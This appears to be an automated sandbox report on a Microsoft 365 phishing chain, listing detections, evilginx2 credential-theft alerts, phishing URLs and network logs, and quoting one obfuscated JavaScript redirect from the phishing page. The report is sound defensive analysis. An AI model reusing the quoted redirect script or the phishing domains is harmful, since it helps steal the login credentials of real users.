Edit tour

Windows Analysis Report
https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/

Overview

General Information

Sample URL:	https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/
Analysis ID:	1591876
Infos:

Detection

HTMLPhisher, ReCaptcha Phish

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Suricata IDS alerts for network traffic

Yara detected HtmlPhish54

Yara detected Recaptcha Phish

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Phishing site or detected (based on various text indicators)

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML page contains string obfuscation

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3924 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2028,i,5000809284017356938,12727152360113180640,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1540 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_211	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security

HTML

Source	Rule	Description	Author
1.44.id.script.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
1.43.id.script.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
1.53.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.66.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.50.i.script.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
1.49.i.script.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
3.8.pages.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
3.3.pages.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
4.10.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.6.pages.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
5.11.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
5.13.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
5.12.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.4.pages.csv	JoeSecurity_ReCaptchaPhish	Yara detected Recaptcha Phish	Joe Security
Click to see the 9 entries

Suricata Signatures

ETPRO PHISHING evilginx2 Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T15:12:11.343574+0100	2852936	1	Successful Credential Theft Detected	185.225.69.200	443	192.168.2.7	50639	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info' does not match the legitimate domain for Microsoft., The domain contains a random string '95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht', which is suspicious and not associated with Microsoft., The use of '.info' as a domain extension is unusual for Microsoft, which typically uses '.com'., The presence of 'office' in the subdomain could be an attempt to mimic Microsoft's Office product, which is a common phishing tactic. DOM: 3.9.pages.csv
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info' does not match the legitimate domain for Microsoft., The domain contains a random string '95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht', which is suspicious and not associated with Microsoft., The use of '.info' as a domain extension is unusual for Microsoft, which typically uses '.com'., The presence of 'office' in the subdomain could be an attempt to mimic Microsoft's Office product, increasing the likelihood of phishing. DOM: 3.8.pages.csv
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info' does not match the legitimate domain for Microsoft., The domain contains a long string of random characters, which is a common tactic used in phishing URLs., The domain extension '.info' is unusual for a Microsoft-related service, which typically uses '.com'., The presence of 'office' in the subdomain could be an attempt to mimic Microsoft's Office services, increasing suspicion. DOM: 5.12.pages.csv
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info' does not match the legitimate domain for Microsoft., The domain contains a random string '95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht', which is suspicious and not associated with Microsoft., The use of '.info' as a domain extension is unusual for Microsoft, which typically uses '.com'., The URL does not have any direct association with Microsoft, increasing the likelihood of it being a phishing site. DOM: 5.13.pages.csv

Yara detected HtmlPhish54

Source: Yara match	File source: 1.53.id.script.csv, type: HTML
Source: Yara match	File source: 1.66.i.script.csv, type: HTML
Source: Yara match	File source: 4.10.pages.csv, type: HTML
Source: Yara match	File source: 5.11.pages.csv, type: HTML
Source: Yara match	File source: 5.13.pages.csv, type: HTML
Source: Yara match	File source: 5.12.pages.csv, type: HTML

Yara detected Recaptcha Phish

Source: Yara match	File source: 1.44.id.script.csv, type: HTML
Source: Yara match	File source: 1.43.id.script.csv, type: HTML
Source: Yara match	File source: 1.50.i.script.csv, type: HTML
Source: Yara match	File source: 1.49.i.script.csv, type: HTML
Source: Yara match	File source: 3.8.pages.csv, type: HTML
Source: Yara match	File source: 3.3.pages.csv, type: HTML
Source: Yara match	File source: 3.6.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_211, type: DROPPED

AI detected landing page (webpage, office document or email)

Source: https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/

Joe Sandbox AI: Page contains button: 'VIEW' Source: '2.1.pages.csv'

AI detected suspicious Javascript

Source: 1.45.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3noph... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated URLs. The script redirects the user to a suspicious domain, which is a strong indicator of malicious intent. Additionally, the script interacts with the DOM in an aggressive manner, hiding an element on the page. Overall, the combination of these behaviors suggests a high-risk, potentially malicious script.
Source: 1.38.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3noph... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated URLs. The script redirects the user to a suspicious domain, which is a strong indicator of malicious intent. Additionally, the script collects user input (likely credentials) and sends it to an external server, posing a significant risk of data theft. Overall, this script demonstrates a high level of risk and should be treated with caution.

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 3.7	OCR Text: 0.1 Microsoft www.microsoftonline.com Please stand by, while we are checking if the site connection is secure... Verifying... CLOUDFLARE Ten-rs Did you know there are Verified Bats that are allowed around the internet because they help provide services we use day ta day? Microsoft needs to review the security of your connection before proceeding. Performance & security by Microsoft
Source: Chrome DOM: 3.5	OCR Text: OJ Microsoft www.microsoftonline.com Please stand by, while we are checking if the site connection is secure... Verifying... CLOUDFLARE Ten-rs Did you know there are Verified Bats that are allowed around the internet because they help provide services we use day to day? Microsoft needs to review the security of your connection before proceeding. Performance & security by Microsoft
Source: Chrome DOM: 3.6	OCR Text: OJ Microsoft www.microsoftonline.com Please stand by, while we are checking if the site connection is secure.... Verifying... CLOUDFLARE Ten-rs Did you know there are Verified Bats that are allowed around the internet because they help provide services we use day to day? Microsoft needs to review the security of your connection before proceeding. Performance & security by Microsoft
Source: Chrome DOM: 3.4	OCR Text: 0.1 Microsoft www.microsoftonline.com Please stand by, while we are checking if the site connection is secure... Verifying... CLOUDFLARE Ten-rs Did you know there are Verified Bats that are allowed around the internet because they help provide services we use day ta day? Microsoft needs to review the security of your connection before proceeding. Performance & security by Microsoft

Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true

HTTP Parser: Number of links: 0

Source: https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/

HTTP Parser: Base64 decoded: 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" ...

Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd

HTTP Parser: Found new string: script . var verifyCallback_hCaptcha = function (response) {. let gForm = document.querySelector("#gForm"). if (gForm == undefined) {. return. }. if (gForm.style != undefined && gForm.style.visibility != undefined) {. gForm = document.querySelector("#gForm").style.visibility = "hidden". }. window.location.href = 'htt' + 'p' + 's' + ':/' + '/of' + 'fic' + 'e.' + '95p' + 'i' + 'b2o' + 'z' + 'wrw' + '4' + 'w2' + 'b' + '4' + 't1' + 'u' + 'b' + 'rx' + 'pjc' + '76' + 'do' + 's3n' + 'op' + 'h' + 'vir' + 'ht.' + 'in' + 'f' + 'o/m' + 'Ql' + 'r' + 'u' + 'OEx' + '?R=' + '5' + 'G' + 'X' + 'lEI' + 'o' + window.location.hash. }. function validateElement(element) {. return element != undefined && element.style != undefined && element.style.visibility != undefined. }. ..

HTTP Parser: Title: Sign in to your account does not match URL

HTTP Parser: <input type="password" .../> found

Source: https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/	HTTP Parser: No favicon
Source: https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/	HTTP Parser: No favicon
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd	HTTP Parser: No favicon
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd	HTTP Parser: No favicon
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd	HTTP Parser: No favicon
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd	HTTP Parser: No favicon
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd	HTTP Parser: No favicon
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd	HTTP Parser: No favicon
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2852936 - Severity 1 - ETPRO PHISHING evilginx2 Activity M2 : 185.225.69.200:443 -> 192.168.2.7:50639

Source: global traffic

TCP traffic: 192.168.2.7:50579 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 51.145.123.29
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
